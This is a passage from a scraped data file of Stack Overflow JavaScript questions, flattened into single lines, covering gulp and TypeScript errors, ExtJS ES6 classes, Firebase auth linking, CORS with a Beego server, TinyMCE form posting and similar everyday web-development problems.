>",How can I make screen readers respond to showing and hiding content in a dynamic web application ? "JS : I am getting the following error when I execute my Typescript transpilation : My gulp task looks like this : package.json devDependencies ( only gulp and ts-relevant dependencies ) looks like this : Node version : 8.9.3 & npm version : 5.6.0Anyone has an idea what to do ? TypeError : file.isSymbolic is not a function at DestroyableTransform.normalize [ as _transform ] ( D : \project\node_modules\vinyl-fs\lib\dest\prepare.js:31:15 ) at DestroyableTransform.Transform._read ( D : \project\node_modules\vinyl-fs\node_modules\readable-stream\lib\_stream_transform.js:182:10 ) at DestroyableTransform.Transform._write ( D : \project\node_modules\vinyl-fs\node_modules\readable-stream\lib\_stream_transform.js:170:83 ) at doWrite ( D : \project\node_modules\vinyl-fs\node_modules\readable-stream\lib\_stream_writable.js:406:64 ) at writeOrBuffer ( D : \project\node_modules\vinyl-fs\node_modules\readable-stream\lib\_stream_writable.js:395:5 ) at DestroyableTransform.Writable.write ( D : \project\node_modules\vinyl-fs\node_modules\readable-stream\lib\_stream_writable.js:322:11 ) at Pumpify.Duplexify._write ( D : \project\node_modules\pumpify\node_modules\duplexify\index.js:201:22 ) at doWrite ( D : \project\node_modules\pumpify\node_modules\readable-stream\lib\_stream_writable.js:406:64 ) at writeOrBuffer ( D : \project\node_modules\pumpify\node_modules\readable-stream\lib\_stream_writable.js:395:5 ) at Pumpify.Writable.write ( D : \project\node_modules\pumpify\node_modules\readable-stream\lib\_stream_writable.js:322:11 ) gulp.task ( 'tsc ' , function ( ) { let tsResult = gulp.src ( srcPaths.tsFiles ) .pipe ( tsProject ( ) ) ; // tsProject created previously return tsResult.js .pipe ( gulp.dest ( buildPath ) ) ; // - > the gulp.dest ( .. ) command causes the error } ) ; { `` devDependencies '' : { `` gulp '' : `` github : gulpjs/gulp # 4.0 '' , `` gulp-sourcemaps '' : `` ^2.6.1 '' , `` gulp-tslint '' : `` ^8.1.2 '' , `` gulp-typescript '' : `` ^3.2.3 '' , `` tslint '' : `` ^5.8.0 '' , `` typescript '' : `` ^2.5.0 '' , } }",TypeError while gulp typescript "JS : With the release of Sencha CMD and ExtJS 6.5 last week , I was very excited to use ES6 classes in my ExtJS projects . With this said , the only sort of 'documentation ' I 've been able to find that talks about how to implement ES6 classes in ExtJS was a this post from last October . Even though it gives an example , I think I 'm missing something cause I get the following error during build process.Foo.jsIs there a CMD command I 'm missing ? If not , any further explanation would be greatly appreciated.NOTEMy output property in app.json looks like so : [ ERR ] C2001 : Closure Compiler Error ( Character ' @ ' ( U+0040 ) is not a valid identifier start char ) -- path/to/project/Foo.js:4 [ ERR ] C2001 : Closure Compiler Error ( primary expression expected ) -- path/to/projectFoo.js:4:7 import { define } from 'extjs-kernel ' ; // module names not finalimport { Observable } from 'extjs-core ' ; import { Base } from 'app-some ' ; @ define ( { mixins : Observable , config : { value : null } } ) export default class Foo extends Base { updateValue ( value , oldValue ) { this.fireEvent ( 'valuechange ' , value , oldValue ) ; } } `` output '' : { `` base '' : `` $ { workspace.build.dir } / $ { build.environment } / $ { app.name } '' , `` appCache '' : { `` enable '' : false } , `` js '' : { `` version '' : `` ES6 '' } } ,",ExtJS 6.5 class system "JS : I 'm currently reading John Papa 's AngularJS style guide and saw the code : You can see that the functions save and validate are defined after the function returned a value . How does this work ? Is it standard-compliant and works in all browsers ( say , from IE 6 ) ? function dataService ( ) { var someValue = `` ; var service = { save : save , someValue : someValue , validate : validate } ; return service ; //////////// function save ( ) { /* */ } ; function validate ( ) { /* */ } ; }",Defining functions after return "JS : I 'm using Firebase Auth with VueJS and I need to convert an anonymous auth user to a registered one with Google.I 'm using this code from an example : I get this error by trying to link the account to Google : [ Vue warn ] : Error in event handler for `` click '' : `` TypeError : this.ta is not a function '' I do n't have a function called this.ta in my code . How to fix this error ? fromAnonymousToGoogle : function ( ) { // Authenticate with the first user then save the currentUser to a local variable var previousUser = Firebase.auth ( ) .currentUser // Authenticate with a second method and get a credential var credential = Firebase.auth.GoogleAuthProvider ( ) previousUser.link ( credential ) .catch ( function ( error ) { // Linking will often fail if the account has already been linked . Handle these cases manually . alert ( error ) } ) // OAuth providers authenticate in an asynchronous manner , so you ’ ll want to perform the link account link in the callback . // previousUser = Firebase.auth ( ) .currentUser ; Firebase.auth ( ) .signInWithPopup ( new Firebase.auth.GoogleAuthProvider ( ) ) .then ( function ( result ) { return previousUser.link ( result.credential ) } ) .catch ( function ( err ) { // Handle error alert ( err ) } ) } ,",Convert anonymous user to registered user with Firebase Auth for Google "JS : If you see the code sample I have shared , you can see the overlay going outside the box . I traced the issue down to the transition attribute.I want to remove the content outside of the div . Overflow is n't working as it is supposed to . ( removing transition works , but I would like to keep it if possible ) Any help is appreciatedCodepen LinkCODE var timer = setInterval ( function ( ) { document.querySelector ( `` .qs-timer-overlay '' ) .style.opacity = ( document.querySelector ( `` .qs-timer-overlay '' ) .style.opacity * 1 ) + 0.1 ; if ( document.querySelector ( `` .qs-timer-overlay '' ) .style.opacity * 1 == 1 ) { clearInterval ( timer ) ; } } , 1000 ) ; .qs-main-header .qs-timer { padding : 13px 10px ; min-width : 130px ; text-align : center ; display : inline-block ; background-color : # dd8b3a ; color : # FFF ; font-size : 20px ; border-radius : 50px ; text-transform : uppercase ; float : right ; cursor : pointer ; position : relative ; overflow : hidden ; } .qs-main-header .qs-timer-overlay { z-index : 1 ; width : 10 % ; max-width : 100 % ; position : absolute ; height : 100 % ; top : 0 ; left : 0 ; background-color : # c7543e ; opacity : 0.0 ; /* border-radius : 50px 50px 0px 50px ; */ } .qs-main-header .qs-timer-content { z-index : 2 ; position : relative ; } .scale-transition { -webkit-transition : all 1s ; transition : all 1s ; } < div class= '' qs-main-header '' > < div class= '' qs-timer scale-transition ng-hide '' ng-show= '' visibility.timer '' > < div class= '' scale-transition qs-timer-overlay '' > < /div > < div class= '' qs-timer-content ng-binding '' > 0 < span class= '' ng-binding '' > Sec ( s ) < /span > < /div > < /div > < /div >",Issue while using transitions + opacity change + overflow hidden "JS : I am making my first foray into javascript + jQuery , designing a simple page but encountering errors , I 'm sure it 's something silly but I 've been over the code several times and ca n't spot it.The error I receive is below : The entire code is below ( I 've changed the dynamic ' # ' + elementname + 'perc ' to a string and I get the same error ) , can anyone offer any insight ? < DOCTYPE html > < html > < head > < script src= '' js/jquery.js '' > < /script > < ! -- < script src= '' js/dealercalc.js '' > < /script > -- > < script type= '' text/javascript '' > $ ( document ) .ready ( function ( ) { $ ( `` .val-adjust '' ) .click ( function ( ) { var name = $ ( this ) .attr ( 'name ' ) ; var bit = $ ( this ) .attr ( 'value ' ) ; setvalue ( name , bit ) ; //discountbits [ 'basic ' ] = false ; // $ ( `` # basedisper '' ) .text ( discountlist [ 'basic ' ] ) ; } ) ; $ ( `` # basdisyes '' ) .click ( function ( ) { discountbits [ 'basic ' ] = true ; // $ ( `` # test1 '' ) .html ( `` < b > Hello world ! < /b > '' ) ; } ) ; $ ( `` # btn3 '' ) .click ( function ( ) { $ ( `` # test3 '' ) .val ( gettotal ( ) ) ; } ) ; } ) ; function getpercbypurc ( value ) { return 0 ; } ; function setvalue ( elementname , yesno ) { discountbits [ elementname ] = yesno ; if ( yesno ) { $ ( `` # basicperc '' ) .hmtl ( discountlist [ elementname ] + `` % '' ) ; } else { $ ( ' # ' + elementname + 'perc ' ) .hmtl ( `` 0 % '' ) ; } } ; function gettotal ( ) { var total = 0 ; for ( var i=0 ; i < keys.length ; i++ ) { if ( discountbits [ keys [ i ] ] = true ) { total += discountlist [ keys [ i ] ] ; } } return total ; } ; function displaytotal ( ) { $ ( ' # totalper ' ) .html ( gettotal ( ) ) ; } ; var keys = [ 'basic ' , 'marketing ' ] ; var discountlist = { basic:20 , marketing:2 } ; var discountbits = { basic : true , marketing : false } ; < /script > < /head > < body > Base Discount < br > < button class= '' val-adjust '' name= '' basic '' value= '' false '' > No < /button > < button class= '' val-adjust '' name= '' basic '' value= '' true '' > Yes < /button > < span id= '' basicperc '' > 0 < /span > < br > < br > Marketing Plan < br > < button class= '' val-adjust '' name= '' marketing '' value= '' false '' > No < /button > < button class= '' val-adjust '' name= '' marketing '' value= '' true '' > Yes < /button > < span id= '' marketingperc '' > 0 < /span > < br > < br > Total < br > < span id= '' totalper '' > 0 < /span > < /body > < /html >",Error when calling jQuery html method "JS : I have an ecmascript 7 browser application running on http : //localhost:3000 in a Firefox 44.0.2 browser . It is posting to a Beego 1.6.0 server running on https : //localdev.net:8443 . The 'localdev.net ' is on the same box and resolves to the localhost address . The browser code is : } The beego server is configured to handle CORS requests as follows : Wireshark sees the client sending a pre-flight CORS options request to the server : In response , the beego server outputs : Even though the server says 'not match ' , wireshark records a response : To me , the 200 status with an Access-Control-Allow-Origin set to the browser app 's domain indicates that the CORS pre-flight succeeded , but the Firefox developer console shows : So the app and/or Firefox seems to think the request failed . Wireshark shows that the app does not send another request to the server . I 'm expecting a post.There are a LOT of questions about CORS out there , but the browsers/APIs/servers are highly variable so I have n't found an exact match . Digging into it , but any help would be appreciated . var serverURL = 'https : //localdev.net:8443/v1/user/login'fetch ( serverURL , { method : 'post ' , headers : { 'Accept ' : 'application/json ' , 'Content-Type ' : 'application/json ' } , mode : 'cors ' , cache : 'default ' , body : JSON.stringify ( { username : this.state.username , password : this.state.password } ) } ) .then ( function ( response ) { if ( response.status > = 200 & & response.status < 300 ) { return Promise.resolve ( response ) } return Promise.reject ( new Error ( response.statusText ) ) } ) .then ( function ( data ) { console.log ( 'data : ' + data ) } ) .catch ( ( err ) = > console.error ( serverURL , err.toString ( ) ) ) beego.InsertFilter ( `` * '' , beego.BeforeRouter , cors.Allow ( & cors.Options { AllowOrigins : [ ] string { `` * '' } , AllowMethods : [ ] string { `` * '' } , AllowHeaders : [ ] string { `` Origin '' } , ExposeHeaders : [ ] string { `` Content-Length '' } , AllowCredentials : true , } ) ) OPTIONS /v1/user/login HTTP/1.1\r\nHost : localdev.imaginout.net:8443\r\nUser-Agent : Mozilla/5.0 ( Macintosh ; Intel Mac OS X 10.11 ; rv:44.0 ) Gecko/20100101 Firefox/44.0\r\nAccept : text/html , application/xhtml+xml , application/xml ; q=0.9 , */* ; q=0.8\r\nAccept-Language : en-US , en ; q=0.5\r\nAccept-Encoding : gzip , deflate , br\r\nAccess-Control-Request-Method : POST\r\nAccess-Control-Request-Headers : content-type\r\nOrigin : http : //localhost:3000\r\nConnection : keep-alive\r\n 2016/03/05 12:54:29 [ router.go:828 ] [ D ] | OPTIONS | /v1/user/login | 102.08µs | not match | HTTP/1.1 200 OK\r\nAccess-Control-Allow-Credentials : true\r\nAccess-Control-Allow-Origin : http : //localhost:3000\r\nAccess-Control-Expose-Headers : Content-Length\r\nServer : beegoServer:1.6.0\r\nDate : Sat , 05 Mar 2016 17:54:29 GMT\r\nContent-Length : 0\r\nContent-Type : text/plain ; charset=utf-8\r\n `` https : //localdev.net:8443/v1/user/login '' TypeError : NetworkError when attempting to fetch resource .",CORS fetch from Firefox to Beego server stops after pre-flight "JS : After upgrading to the v3.1 Javascript SDK with vector/WebGL rendering , there is now no terrain layer in the default UI Controls . I have looked into the API documentation but there is no clear example that I could find that shows how to specify what shows up in the UI Controls.I 'd like to have Normal , Terrain and Satellite layers in the UI Controls like when we were on v3.0 as some of our customers use this layer . var platform = new H.service.Platform ( { apikey : 'key ' } ) ; var layers = platform.createDefaultLayers ( ) ; var hereMap = new H.Map ( document.getElementById ( mapCanvasDiv ) , defaultLayers.vector.normal.map , { zoom : mapOptions.zoom , center : mapOptions.center } ) ; var ui = H.ui.UI.createDefault ( hereMap , defaultLayers ) ; // Guessing I can change `` ui '' in some way to include the terrain layer which is a raster layer . hereMap.UIControls = ui ;",How do I get a Terrain Map in UI Controls HERE Maps v3.1 "JS : When an image object is created , can know when is fully loaded using the `` complete '' property , or the `` onload '' method , then , this image has processed ( resizing for example ) using some time , that can be some seconds in big files.How to know when browser finish to process an image after loading it ? EDIT : In examples can see a lag between `` complete '' message and the appearance of the image , I want avoid this.Example ussing `` onload '' method : Example using `` complete '' property : EDIT : Thanks the @ Kaiido 's response I made this sollution for wait the images process . var BIGimage ; putBIGimage ( ) ; function putBIGimage ( ) { BIGimage=document.createElement ( `` IMG '' ) ; BIGimage.height=200 ; BIGimage.src= '' http : //orig09.deviantart.net/5e53/f/2013/347/f/d/i_don_t_want_to_ever_leave_the_lake_district_by_martinkantauskas-d6xrdch.jpg '' ; BIGimage.onload=function ( ) { waitBIGimage ( ) ; } ; } function waitBIGimage ( ) { console.log ( `` Complete . `` ) ; document.body.appendChild ( BIGimage ) ; } var BIGimage ; putBIGimage ( ) ; function putBIGimage ( ) { BIGimage=document.createElement ( `` IMG '' ) ; BIGimage.height=200 ; BIGimage.src= '' http : //orig09.deviantart.net/5e53/f/2013/347/f/d/i_don_t_want_to_ever_leave_the_lake_district_by_martinkantauskas-d6xrdch.jpg '' ; waitBIGimage ( ) ; } function waitBIGimage ( ) { if ( ! BIGimage.complete ) { console.log ( `` Loading ... '' ) ; setTimeout ( function ( ) { waitBIGimage ( ) ; } ,16 ) ; } else { console.log ( `` Complete . `` ) ; document.body.appendChild ( BIGimage ) ; } } var imagesList= [ `` https : //omastewitkowski.files.wordpress.com/2013/07/howard-prairie-lake-oregon-omaste-witkowski-owfotografik-com-2-2.jpg '' , `` http : //orig03.deviantart.net/7b8d/f/2015/289/0/f/0ffd635880709fb39c2b69f782de9663-d9d9w6l.jpg '' , `` http : //www.livandiz.com/dpr/Crater % 20Lake % 20Pano % 2016799x5507.JPG '' ] ; var BIGimages=loadImages ( imagesList ) ; onLoadImages ( BIGimages , showImages ) ; function loadImages ( listImages ) { var image ; var list= [ ] ; for ( var i=0 ; i < listImages.length ; i++ ) { image=document.createElement ( `` IMG '' ) ; image.height=200 ; image.src=listImages [ i ] + '' ? `` +Math.random ( ) ; list.push ( image ) ; } return list ; } function showImages ( ) { loading.style.display= '' none '' ; for ( var i=0 ; i < BIGimages.length ; i++ ) { document.body.appendChild ( BIGimages [ i ] ) ; } } ; function onLoadImages ( images , callBack , n ) { if ( images==undefined ) return null ; if ( callBack==undefined ) callBack=function ( ) { } ; else if ( typeof callBack ! = '' function '' ) return null ; var list= [ ] ; if ( ! Array.isArray ( images ) ) { if ( typeof images == '' string '' ) images=document.getElementById ( images ) ; if ( ! images || images.tagName ! = '' IMG '' ) return null ; list.push ( images ) ; } else list=images ; if ( n==undefined || n < 0 || n > =list.length ) n=0 ; for ( var i=n ; i < list.length ; i++ ) { if ( ! list [ i ] .complete ) { setTimeout ( function ( ) { onLoadImages ( images , callBack , i ) ; } ,16 ) ; return false ; } var ctx = document.createElement ( 'canvas ' ) .getContext ( '2d ' ) ; ctx.drawImage ( list [ i ] , 0 , 0 ) ; } callBack ( ) ; return true ; } < DIV id= '' loading '' > Loading some big images ... < /DIV >",How to know when browser finish to process an image after loading it ? "JS : EDIT The code is all correct , the problem was because of including 'ngTouch ' , see my own answer below.I am probably making some stupid mistake here , but for the life of me I can not find it.I have this piece of markup , which is correctly wired up with a controller : The controller code : The problem is nothing happens when I click the button . If I change the input field , I get the alert , so ng-change works , but ng-click does not.Let me know if this is not enough information , but I would not know what else to provide , and the general setup seems to be working fine ... The rest of the HTML does not contain any Angular directives , and it is loaded like this in myModule.config : and the controller is defined like this : < input type= '' text '' ng-change= '' doStuff ( ) '' ng-model= '' stuff '' / > < button ng-click= '' doStuff ( ) '' > doStuff < /button > console.log ( 'Hi from controller ' ) ; $ scope.stuff = `` something '' ; $ scope.doStuff = function ( ) { alert ( 'doing stuff ' ) ; } $ stateProvider .state ( 'stuff ' , { templateUrl : 'pages/stuff.html ' , url : '/stuff ' , controller : 'StuffCtrl ' } ) angular.module ( 'myModule ' ) .controller ( 'StuffCtrl ' , function ( $ scope ) { // above code } ) ;","AngularJS ng-click not working , but ng-change is , when calling the same function" "JS : As far as I can tell , both the spec and the documentation have await as the only reserved keyword out of the async/await feature.This is further demonstrated by the fact that we can name a variable async : For example : Node ( 6.10 ) ( also on Repl.it ) Chrome ( 59 ) Firefox ( 54 ) Is it because of backwards compatibility ? I 'd guess many codebases would use the name async for certain features.This allows for some strange looking code examples : Infinite recursive promise chain ? ( Not really important since any function name would allow this , however this code looks additionally confusing ) var async = 5 ; console.log ( async ) // this is fine async function async ( ) { var async = 5 ; await async ; return async ; } async ( ) .then ( console.log ) async function async ( ) { await async ( ) ; } // stackoverflow ( might need to open your console to see the output )",Why is ` async ` not a a reserved word ? "JS : This is Mac only problem ; I 've tried this on windows and it works fine . I have a script that saves which keys are pressed on keydown and deletes them on keyup . All I am doing right now is console logging whatever is left after the keyup , which should be nothing . This works as expected when you press any number of keys simultaneously . HOWEVER , when you press command and any other key , the other key is NOT released ! So console.log will show that key to be true . This will remain true until you press that key itself . This only happens on a Mac , and it only happens when one of the keys pressed is the Command key . Here is a very simple plunker with the above example . Any ideas ? $ ( function ( ) { var keys = [ ] ; $ ( document ) .keydown ( function ( event ) { keys [ event.which ] = true ; } ) ; $ ( document ) .keyup ( function ( event ) { delete keys [ event.which ] ; console.log ( keys ) ; } ) ; } ) ;",Javascript Keyup is n't called when Command and another is pressed "JS : I 'm deploying a rails app using Apache and Phusion PassengerI already deployed apps using this stack but now i 'm using NVM to install node but when I try to load the site shows an error , looking on logs shows this error : Could not find a JavaScript runtime . See https : //github.com/rails/execjs for a list of available runtimes.On this server I did n't installed nodejs from OS repos , and looking on the passenger documentation shows something about passenger_nodejs but this is from nginx . This is my conf from apache : ServerName yourserver.comand keep showing that errorInstalling nodejs from OS repos fix the message and the app works but is because it 's using the node version from OS but I want to use the NVM version . # Tell Apache and Passenger where your app 's 'public ' directory isDocumentRoot /var/www/myproj/publicPassengerRuby /home/appuser/.rvm/gems/ruby-2.3.0/wrappers/rubyPassengerNodejs /home/appuser/.nvm/versions/node/v6.9.2/bin/node # Relax Apache security settings < Directory /var/www/myproj/public > Allow from all Options -MultiViews # Uncomment this if you 're on Apache > = 2.4 : Require all granted < /Directory >",Phusion Passenger and Rails app using NVM Could not find a JavaScript runtime "JS : I try to figure out how to draw linestring with fillcolor : red and outline : black . Like the following image : It does not work , maybe I need to use strokeStyle ? Any help will be appreciated . style = { fillColor : 'rgb ( 255,0,0 ) ' , outline : 'rgb ( 0,0,0 ) ' weight : 10 } ;",JavaScript - How to draw black outline ( or stroke ) for a red line - leaflet mapbox "JS : I build a simple webpage with embeded TinyMCE.The HTML part : The JavaScript part.Now I want to print content in the TinyMCE 's editor , after you click the submit button.The dump.phpWhy nothing print by dump.php ? I can send info to the dump.php via AJAX method.1.Remove < form method= '' post '' action= '' dump.php '' > < /form > in html part.2.Add the following js code in the JavaScript part . I have tried that it can pass content which I type in the textarea whose id is mytextarea to dump.php and dump.php can print the array properly.My issue is how to pass content in TinyMCE 's textarea to a PHP file directly instead of sending it via AJAX ? Do the work without AJAX . < form method= '' post '' action= '' dump.php '' > < div id= '' main '' > < div id= '' container_left '' > < textarea id= '' mytextarea '' > < /textarea > < input id= '' submit '' type= '' submit '' value= '' submit '' > < /div > < div id= '' show_right '' > < /div > < /div > < /form > < script src= '' tinymce/tinymce.min.js '' > < /script > < script type= '' text/javascript '' > tinymce.init ( { selector : `` textarea '' , height : 250 , plugins : [ `` code advlist autolink lists link image charmap print preview anchor '' , `` searchreplace visualblocks code fullscreen '' , `` insertdatetime media table contextmenu paste '' ] , toolbar : `` code insertfile undo redo | styleselect | bold italic | alignleft aligncenter alignright alignjustify | bullist numlist outdent indent | link image '' , setup : function ( editor ) { editor.on ( 'init keydown change ' , function ( e ) { document.getElementById ( 'show_right ' ) .innerText = editor.getContent ( ) ; } ) ; } } ) ; < /script > < ? php print_r ( $ _POST ) ; ? > < script > function send ( ) { var data = tinyMCE.get ( 'mytextarea ' ) .getContent ( ) ; var ajax = new XMLHttpRequest ( ) ; ajax.open ( 'POST ' , 'dump.php ' , false ) ; ajax.setRequestHeader ( 'Content-type ' , 'application/x-www-form-urlencoded ' ) ; ajax.send ( 'data='+data ) ; } ob = document.getElementById ( `` submit '' ) ; ob.addEventListener ( `` click '' , send ) ; < /script >",How to pass content in TinyMCE 's textarea to a PHP file directly instead of sending via AJAX ? "JS : I am wondering how to simulate Class Inheritance in JavaScript . I know class does n't apply to JavaScript , the way we use is Functions to create objects and do the inheritance things through Prototype object.For example , how do you convert this structure into JavaScript : What is the equivalent of this piece of code in JavaScript.Edit : I 've also found another link where Douglas Crockford explains different inheritance models as CMS does : Classical Inheritance in JavaScript.Hope it helps others as well . public class Mankind { public string name ; public string lastname ; } public class Person : Mankind { public void Run ( string fromWhat ) { //write the run logic } }",Class Inheritance in Javascript "JS : I have found strange issue in MS CRM 2013 , and since it seems to be by design , I need help to find a way around it.The issue is it 's impossible to call getScript jQuery method from WebResource.The CRM adds version string to the url , and this causes request fail with error 500.For example , when I 'm trying to call : /Organization/WebResources/Synchronization.jsThe CRM turns this request into following : /Organization/WebResources/Synchronization.js ? _=1402918931398 and it fails with server error 500.Here is the sample code I 'm using : Could you please point me , how I can find out when URL is changed ? var settings = { url : `` /Organization/WebResources/Synchronization.js '' , dataType : `` script '' , success : function ( data ) { console.log ( `` success '' ) ; } , error : function ( jqXHR , textStatus , errorThrown ) { console.log ( `` error '' ) ; } } ; $ .ajax ( settings ) ;",MS CRM 2013 adds version number to WebResources of script type "JS : The progress bar increases by 1 when I click the button . But I do n't see it increasing to 100 . I have to click the button again and again to increase the value . Could you please tell me what I might be doing incorrectly ? Also , how do I clear the interval for each individual progress bar once it reaches 100 without using progress bar id ? window.onload = function ( ) { console.log ( `` Hello '' ) ; var button = document.getElementById ( `` animateButton '' ) ; button.onclick = goProgress ; } function goProgress ( ) { console.log ( `` In goProgress ( ) '' ) ; var progressBars = document.getElementsByClassName ( `` progress '' ) ; for ( var i=0 ; i < progressBars.length ; i++ ) { console.log ( `` Progress Bar `` + ( i+1 ) + `` : `` + progressBars [ i ] ) ; setInterval ( increaseVal ( progressBars [ i ] ) ,10 ) ; } } ; function increaseVal ( progressBar ) { console.log ( `` In increaseVal ( ) : `` + progressBar.value ) ; if ( progressBar.value < 100 ) { progressBar.value = progressBar.value + 1 ; } } < progress class= '' progress '' value= '' 20 '' max= '' 100 '' > < /progress > < br > < progress class= '' progress '' value= '' 0 '' max= '' 100 '' > < /progress > < br > < progress class= '' progress '' value= '' 30 '' max= '' 100 '' > < /progress > < br > < br > < input type= '' button '' value= '' Animate '' id= '' animateButton '' / >",Javascript HTML 5 Progress Bar not working with setInterval "JS : Run the following in Chrome , and press Tab until the window scrolls : Note how the focused element jumps up to the middle of its window . This makes data entry annoying , so I 'd rather the page scroll up smoothly , keeping the newly focused element at the bottom . This seems to occur in Chrome only.I can prevent this behavior with JavaScript : But I 'm wondering if there is an HTML or CSS solution . ( I would also settle for a more elegant JavaScript solution . ) EditI 've come up with a much simpler solution , but it has the side-effect of the page scrolling one pixel for each Tab ( or Shift+Tab ) press : < ol > < li > < input type= '' text '' autofocus > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < /ol > $ ( document ) .on ( 'focus ' , 'input ' , function ( ) { let top = $ ( this ) .parent ( ) .position ( ) .top , scroll = $ ( window ) .scrollTop ( ) , inputHeight = $ ( 'input ' ) .height ( ) , windowHeight = $ ( window ) .height ( ) ; if ( top < scroll + inputHeight ) { window.scrollBy ( 0 , -inputHeight ) ; } else if ( top > scroll + windowHeight - inputHeight * 2 ) { window.scrollBy ( 0 , inputHeight ) ; } } ) ; < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < ol > < li > < input type= '' text '' autofocus > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > < /li > < li > < input type= '' text '' > 